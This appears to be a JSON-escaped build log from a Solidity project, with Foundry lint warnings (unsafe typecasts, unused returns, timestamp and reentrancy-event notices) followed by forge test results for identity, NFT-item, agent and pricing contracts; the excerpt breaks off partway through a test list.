                       ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/IMDNames.sol:247:37\n    │\n247 │         if (at == 0) return (0, \"\", false);\n    │                                     ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:183:30\n    │\n183 │                 _burnBlock = uint64(block.number);\n    │                              ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:184:34\n    │\n184 │                 _burnedInBlock = uint192(spent + waiting);\n    │                                  ━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint192' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/LARPLinks.sol:327:22\n    │\n327 │         (bool ok,) = LARP.canAct(c.captain, msg.sender);\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPLinks.sol:342:39\n    │\n342 │         address distributor = address(uint160(w));\n    │                                       ━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint160' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/IMDNames.sol:67:63\n   │\n67 │     constructor(address identity, ILARP larp, address burner, address artist_, address intake, address oracleSigner)\n   │                                                               ━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPLinks.sol:380:31\n    │\n380 │             j.token = address(uint160(t));\n    │                               ━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint160' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARP.sol:159:45\n    │\n159 │         return ok && answer.length >= 32 && bytes4(abi.decode(answer, (bytes32))) == 0x1626ba7e;\n    │                                             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'bytes4' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/IMDNames.sol:109:9\n    │\n109 │         LARPBurner(payable(BURNER)).burn{value: price}(minImd);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/LARPLinks.sol:443:9\n    │\n443 │         (, c.faceCollection, c.faceTokenId, c.faceLive) = LARP.faceOf(imdId);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/LARPLinks.sol:454:22\n    │\n454 │         (bool ok,) = LARP.canAct(imdId, msg.sender);\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/IMDNames.sol:123:24\n    │\n123 │         if (toll != 0) LARPBurner(payable(BURNER)).burn{value: toll}(minImd);\n    │                        ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[uninitialized-local]: local variable is read before being initialized\n    ╭▸ src/LARP.sol:310:15\n    │\n310 │             ++digits;\n    │               ━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/uninitialized-local\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARP.sol:314:36\n    │\n314 │             out[--digits] = bytes1(uint8(48 + value % 10));\n    │                                    ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARP.sol:325:22\n    │\n325 │             out[i] = bytes16(\"0123456789abcdef\")[v & 15];\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'bytes16' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/SwarmPrices.sol:182:16\n    │\n182 │             && block.timestamp <= a.expiresAt && a.answer.length == 32 && uint256(bytes32(a.answer)) == 1;\n    │                ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/SwarmPrices.sol:185:9\n    │\n185 │         emit Verdict(requestId, approved, a.agreed, a.panelSize);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SwarmPrices.sol:182:83\n    │\n182 │             && block.timestamp <= a.expiresAt && a.answer.length == 32 && uint256(bytes32(a.answer)) == 1;\n    │                                                                                   ━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'bytes32' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SwarmPrices.sol:184:23\n    │\n184 │         p.decidedAt = uint64(block.timestamp);\n    │                       ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:229:43\n    │\n229 │                 pair, SwapParams(imdIs0, -int256(amount), imdIs0 ? MIN_PRICE_LIMIT : MAX_PRICE_LIMIT), \"\"\n    │                                           ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:232:27\n    │\n232 │                 imdIs0 ? (int128(delta >> 128), int128(delta)) : (int128(delta), int128(delta >> 128));\n    │                           ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:232:49\n    │\n232 │                 imdIs0 ? (int128(delta >> 128), int128(delta)) : (int128(delta), int128(delta >> 128));\n    │                                                 ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:232:67\n    │\n232 │                 imdIs0 ? (int128(delta >> 128), int128(delta)) : (int128(delta), int128(delta >> 128));\n    │                                                                   ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:232:82\n    │\n232 │                 imdIs0 ? (int128(delta >> 128), int128(delta)) : (int128(delta), int128(delta >> 128));\n    │                                                                                  ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:233:30\n    │\n233 │             if (imdDelta != -int128(int256(amount)) || outDelta <= 0) revert Unfilled();\n    │                              ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:233:37\n    │\n233 │             if (imdDelta != -int128(int256(amount)) || outDelta <= 0) revert Unfilled();\n    │                                     ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/LARPBurner.sol:236:13\n    │\n236 │             POOL_MANAGER.settle();\n    │             ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:237:27\n    │\n237 │             uint256 out = uint128(outDelta);\n    │                           ━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:245:61\n    │\n245 │         int256 d = POOL_MANAGER.swap(key, SwapParams(true, -int256(amount), MIN_PRICE_LIMIT), \"\");\n    │                                                             ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:246:27\n    │\n246 │         int128 ethDelta = int128(d >> 128);\n    │                           ━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:247:25\n    │\n247 │         int128 bought = int128(d);\n    │                         ━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:248:26\n    │\n248 │         if (ethDelta != -int128(int256(amount)) || bought <= 0) revert Unfilled();\n    │                          ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:248:33\n    │\n248 │         if (ethDelta != -int128(int256(amount)) || bought <= 0) revert Unfilled();\n    │                                 ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/LARPBurner.sol:249:9\n    │\n249 │         POOL_MANAGER.settle{value: amount}();\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:250:47\n    │\n250 │         POOL_MANAGER.take(IMD, address(this), uint128(bought));\n    │                                               ━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:251:27\n    │\n251 │         return abi.encode(uint256(uint128(bought)));\n    │                           ━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:251:35\n    │\n251 │         return abi.encode(uint256(uint128(bought)));\n    │                                   ━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[uninitialized-local]: local variable is read before being initialized\n    ╭▸ src/LARPBurner.sol:267:34\n    │\n267 │         emit Burned(rest, share, burned6900);\n    │                                  ━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/uninitialized-local\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMDNames.sol:137:9\n    │\n137 │         emit NameRegistered(tokenId, label, to, price);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMDNames.sol:153:13\n    │\n153 │             emit NameUnlinked(old, imdId);\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMDNames.sol:158:13\n    │\n158 │             emit NameUnlinked(tokenId, was - 1);\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMDNames.sol:162:9\n    │\n162 │         emit NameLinked(tokenId, imdId, holder, toll);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMDNames.sol:185:9\n    │\n185 │         emit NameUnlinked(tokenId, imdId);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/IMDNames.sol:181:22\n    │\n181 │         (bool ok,) = LARP.canAct(imdId, msg.sender);\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[return-bomb]: external call with a gas limit may copy unbounded return data\n    ╭▸ src/LARPBurner.sol:293:13\n    │\n293 │         try POOL_MANAGER.unlock{gas: LEG_GAS}(data) returns (bytes memory r) {\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/return-bomb\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMDNames.sol:306:26\n    │\n306 │     function setRenderer(address renderer_) external {\n    │                          ━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/SwarmPrices.sol:202:44\n    │\n202 │         if (p.status != Status.Approved || block.timestamp > p.decidedAt + EXECUTE_WINDOW) revert NotApproved();\n    │                                            ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/SwarmPrices.sol:204:32\n    │\n204 │         if (lastChange != 0 && block.timestamp < lastChange + COOLDOWN) revert Cooling();\n    │                                ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SwarmPrices.sol:208:22\n    │\n208 │         lastChange = uint64(block.timestamp);\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SwarmPrices.sol:304:36\n    │\n304 │             digits[i - 1] = bytes1(uint8(48 + frac % 10));\n    │                                    ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[uninitialized-local]: local variable is read before being initialized\n    ╭▸ src/SwarmPrices.sol:320:15\n    │\n320 │             ++digits;\n    │               ━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/uninitialized-local\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SwarmPrices.sol:324:36\n    │\n324 │             out[--digits] = bytes1(uint8(48 + value % 10));\n    │                                    ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMDNames.sol:314:24\n    │\n314 │     function setArtist(address artist_) external {\n    │                        ━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[environment-read-across-mutation]: `block.timestamp` may be reused across `vm.warp`\n    ╭▸ test/LARPAgents.t.sol:139:28\n    │\n139 │         uint256 deadline = block.timestamp + 1 hours;\n    │                            ━━━━━━━━━━━━━━━\n140 │         bytes memory sig = _sign(ownerKey, 7, agent, owner, 0, deadline);\n141 │         vm.warp(deadline + 1);\n    │         ───────────────────── `vm.warp` changes this environment here\n    │\n    ├ help: capture it with `vm.getBlockTimestamp()` instead\n    ╰ help: https://getfoundry.sh/forge/linting/environment-read-across-mutation\n\n","passed":true},{"durationMs":60196,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 14 tests for test/LARPItems.t.sol:LARPItemsTest\n[PASS] test_AFaceBecomesAnItem() (gas: 321185)\n[PASS] test_AnItemBecomesAnotherIdentitysFace() (gas: 306295)\n[PASS] test_EquipAnERC1155Copy() (gas: 195226)\n[PASS] test_EquipAnERC721() (gas: 228623)\n[PASS] test_OneCopyOnePlacement() (gas: 372050)\n[PASS] test_ReequippingTheSameCopyInTheSameSlot() (gas: 213412)\n[PASS] test_RefusedItems() (gas: 220243)\n[PASS] test_ReplacingAnItemFreesTheOldOne() (gas: 291522)\n[PASS] test_SellingACopyDarkensItsPlacementsUntilOneComesOff() (gas: 456264)\n[PASS] test_SellingTheIdentityDarkensItsItems() (gas: 360711)\n[PASS] test_SlotsAreOneToEight() (gas: 224747)\n[PASS] test_StrangersCantTakeItemsOff() (gas: 174966)\n[PASS] test_TheNewOwnerClearsTheOldItems() (gas: 343634)\n[PASS] test_ThePlacerTakesItsCopyBackAfterSellingTheIdentity() (gas: 399525)\nSuite result: ok. 14 passed; 0 failed; 0 skipped; finished in 9.73ms (10.69ms CPU time)\n\nRan 14 tests for test/LARPAgents.t.sol:LARPAgentsTest\n[PASS] test_AContractWalletSignsWithERC1271() (gas: 431060)\n[PASS] test_ASignatureWorksOnce() (gas: 230440)\n[PASS] test_AnAgentCantNameAgentsOrTheWallet() (gas: 195871)\n[PASS] test_AnAgentDressesTheIdentityWithTheOwnersNFTs() (gas: 396334)\n[PASS] test_AnAgentLapsesOnASale() (gas: 317701)\n[PASS] test_AnAgentLinksTheOwnersNameAndSetsTexts() (gas: 978066)\n[PASS] test_AnAgentResigns() (gas: 193582)\n[PASS] test_AnAgentRunsFrensAndCrews() (gas: 1223270)\n[PASS] test_AnyAgentChangeVoidsOutstandingSignatures() (gas: 188002)\n[PASS] test_BadSignatures() (gas: 364692)\n[PASS] test_OnlyTheOwnerSetsTheAgent() (gas: 40977)\n[PASS] test_SignaturesExpire() (gas: 49228)\n[PASS] test_TheOwnerConnectsAnAgentInOneCall() (gas: 188975)\n[PASS] test_TheOwnerSignsTheAgentSends() (gas: 176447)\nSuite result: ok. 14 passed; 0 failed; 0 skipped; finished in 13.60ms (8.44ms CPU time)\n\nRan 11 tests for test/MainnetFork.t.sol:MainnetForkTest\n[SKIP] test_ACrewBuysAndBurnsRealIMD() (gas: 0)\n[SKIP] test_ANameBuysRealIMDOnPool4AndBurnsIt() (gas: 0)\n[SKIP] test_ANameChangesHandsAndBurns() (gas: 0)\n[SKIP] test_ANamePaidInRealImd() (gas: 0)\n[SKIP] test_APriceProposalThroughIMDsRealIntake() (gas: 0)\n[SKIP] test_AnAgentRunsTheTreasurysIdentity() (gas: 0)\n[SKIP] test_AnIdentityWearsAWorkerFren() (gas: 0)\n[SKIP] test_RealProofsRefuseTampering() (gas: 0)\n[SKIP] test_TheHooklessPoolTakesWhatPool4Cant() (gas: 0)\n[SKIP] test_TheRealJeetBoard() (gas: 0)\n[SKIP] test_TheTreasurysCard() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 11 skipped; finished in 15.17ms (1.63ms CPU time)\n\nRan 24 tests for test/LARP.t.sol:LARPFaceTest\n[PASS] testFuzz_OnlyTheHolderOfBothSetsAFace(address,uint256,uint256) (runs: 256, μ: 55869, ~: 56464)\nLogs:\n  Bound result 3\n  Bound result 9\n\n[PASS] test_AFaceComesBackWithBothTokens() (gas: 220934)\n[PASS] test_AMaskMovesToTheIdentityThatPutsItOn() (gas: 323750)\n[PASS] test_AvatarFormat() (gas: 249931)\n[PASS] test_ChangingMasksFreesTheOldOne() (gas: 274960)\n[PASS] test_ClearFace() (gas: 200738)\n[PASS] test_ClearingNoFaceDoesNothing() (gas: 36612)\n[PASS] test_FaceURIFallsBackOnABrokenTokenURI() (gas: 2152591)\n[PASS] test_OnlyTheIdentitysOwnerClears() (gas: 173845)\n[PASS] test_PuttingTheSameMaskOnAgain() (gas: 240094)\n[PASS] test_RefusesAMaskThatIsNotYours() (gas: 49187)\n[PASS] test_RefusesAnIdentityAsAMask() (gas: 41585)\n[PASS] test_RefusesAnIdentityThatDoesNotExist() (gas: 41653)\n[PASS] test_RefusesAnIdentityThatIsNotYours() (gas: 43653)\n[PASS] test_RefusesWhatIsNotAnNFT() (gas: 510494)\n[PASS] test_SellingTheIdentityTakesTheFaceDown() (gas: 252506)\n[PASS] test_SellingTheMaskTakesTheFaceDown() (gas: 223250)\n[PASS] test_SetFace() (gas: 266231)\n[PASS] test_SupportsInterface() (gas: 27637)\n[PASS] test_TheIdentitysNewOwnerClearsTheOldFace() (gas: 225470)\n[PASS] test_TheNewHolderOfAMaskTakesItOff() (gas: 321718)\n[PASS] test_TheNewOwnerMustChooseAgain() (gas: 327564)\n[PASS] test_WearerOfAnUnwornMask() (gas: 14020)\n[PASS] test_ZeroIdentityRefused() (gas: 4446)\nSuite result: ok. 24 passed; 0 failed; 0 skipped; finished in 21.44ms (28.65ms CPU time)\n\nRan 15 tests for test/SwarmPrices.t.sol:SwarmPricesTest\n[PASS] test_AProposalForOldPricesGoesStale() (gas: 3672902)\n[PASS] test_ARejectedProposalChangesNothing() (gas: 2232278)\n[PASS] test_AVerdictMustBeUsedWithinTwoWeeks() (gas: 2208993)\n[PASS] test_AWeakPanelIsARejection() (gas: 6235442)\n[PASS] test_AnExpiredVerdictIsARejection() (gas: 2192125)\n[PASS] test_AnyoneProposesAndTheContractWritesTheQuestion() (gas: 2850404)\n[PASS] test_ApprovedThenAnyoneExecutes() (gas: 3555588)\n[PASS] test_ExecutedOnce() (gas: 2252959)\n[PASS] test_Guardrails() (gas: 209261)\n[PASS] test_NoVerdictClosesTheProposal() (gas: 2224808)\n[PASS] test_OneChangeAWeek() (gas: 3735070)\n[PASS] test_OnlyTheIntakeDeliversAndOnlyForItsOwnProposals() (gas: 2218713)\n[PASS] test_OnlyTheOraclesSignatureForThisContractCounts() (gas: 2357130)\n[PASS] test_StartPrices() (gas: 58550)\n[PASS] test_TheOracleMustBePaid() (gas: 229593)\nSuite result: ok. 15 passed; 0 failed; 0 skipped; finished in 21.64ms (33.02ms CPU time)\n\nRan 24 tests for test/LARPLinks.t.sol:LARPLinksTest\n[PASS] test_AGasHungryTokenCantSinkTheBoard() (gas: 1737463)\n[PASS] test_AnInnerNodeIsNotALeaf() (gas: 1448373)\n[PASS] test_AnUnreadableTokenCountsAsHeld() (gas: 1784660)\n[PASS] test_BadAllocations() (gas: 1754999)\n[PASS] test_CaptainsRun() (gas: 955602)\n[PASS] test_Card() (gas: 1629846)\n[PASS] test_CrewFoundingRules() (gas: 909221)\n[PASS] test_Disband() (gas: 1536807)\n[PASS] test_FoundACrewWithImd() (gas: 1176652)\n[PASS] test_FoundingACrewBurnsIMD() (gas: 741849)\n[PASS] test_FrenRules() (gas: 383139)\n[PASS] test_FrensPassWithTheIdentity() (gas: 302573)\n[PASS] 